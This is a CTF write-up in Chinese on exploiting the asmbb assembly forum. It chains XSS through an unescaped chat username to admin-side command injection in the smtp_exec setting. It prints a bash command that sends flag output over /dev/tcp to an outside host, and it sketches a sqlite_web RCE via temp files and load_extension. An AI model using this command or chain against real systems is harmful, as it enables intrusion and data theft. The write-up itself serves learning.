3/11 還在參加 DEVCORE Conf 時 ginoah 就已經把 web easy 題都秒完,留下兩題難的,這次比賽都在看 true_web_assembly,真的是 assembly :D
Web
true_web_assembly
asmbb 是個用 FASM 寫的 forum,這題目標是要 XSS admin 來觸發 RCE。admin bot 有限制 domain 在目標下,只能控 URL Path 部分。這裡拆成兩塊來講:1. 身為 admin 如何觸發 RCE 2.如何觸發 XSS 來讓 admin 觸發 RCE
Part 1. 身為 admin 如何觸發 RCE
既然是用 asm 寫的,要 RCE 就從 stdcall 下去找最快,FASM 有點類似打包好一點功能有預處裡機制的 asm (jwang: 那幹嘛不直接寫 C)搜了一下 exec, system, int 0x80 之類的可以知道 FASM 是透過 stdcall
做呼叫,查到 stdcall exec2
往上追可以看到和 smtp 相關,對應到 admin 才能看到的 forum settings
其中的 Pipe the emails through 欄位對應到 asm 裡的 smtp_exec
,如果開啟 Confirm by email
,使用者在註冊時會需要收認證信,就會呼叫 smtp_exec
處理。 stdcall exec2
在處理 smtp_exec
時是用空格來切割參數,不認單雙引號等等, 並且環境裡沒有 nc、curl、wget 等等,所以我們用 bash 來送封包,送往 bash 的 payload 透過 $IFS
分割
/usr/bin/bash -c /readflag$IFS>/dev/tcp/blog.cjis.ooo/8788
Part 2. 如何觸發 XSS 來讓 admin 觸發 RCE
這裡我們採到一個坑,該論壇有 chat 功能,透過 burpsuite proxy 來瀏覽時會壞掉,流量消失
正常要像下圖
chat room 是透過 SSE(server-sent-event)來達到即時推送的功能,接受 event 後再 render 到 chat board 上
在 id=249 可以看到 originalname 出現奇怪的 utf-8 representation,ginoah 當初是先測試可以註冊帶 \
的 username 會讓 chat board 壞掉,然後發現他會把整串當成 json string 處理,並且不會跳脫 \
。進一步可以追到 server 在處理 originalname 時沒呼叫 StrEncodeJS
等等 encode function,就直接做拼接
所以整個利用流程是
- 註冊 username 為 XSS payload 的 user
- 用該 user 發送訊息到 chat room
- 請 admin 瀏覽
/!chat
開啟驗證信功能和寫入惡意 smtp_exec
- 再次註冊需要信箱的 user 或是更改現有 user 的 email 來觸發
smtp_exec
asmbb 在一些重要功能會用 ticket
保護(==CSRF Token),在各頁面行為有點差異,此外這題有負責開獨立的 instance 的 instancer 服務和 admin bot ,題目機和 local 行為差蠻多,asmBB 自身還有帶檢測 bot 功能,錯誤訊息還很隨興,在寫腳本時有夠難 debug,雖然賽中和 ginoah 已經想出解答但是手速不夠快,賽後大概四小時才寫完全自動化 exploit QQ
ginoah 要開始寫 blog 了沒
sqlite_web
ref: ginoah & official writeup
這題用上 werkzeug 的 temp file 機制,超過 500kB 會寫檔,再透過 SQLite load_extension
觸發 RCE,這裡檔案直接透過 /proc/self/fd/xx
存取。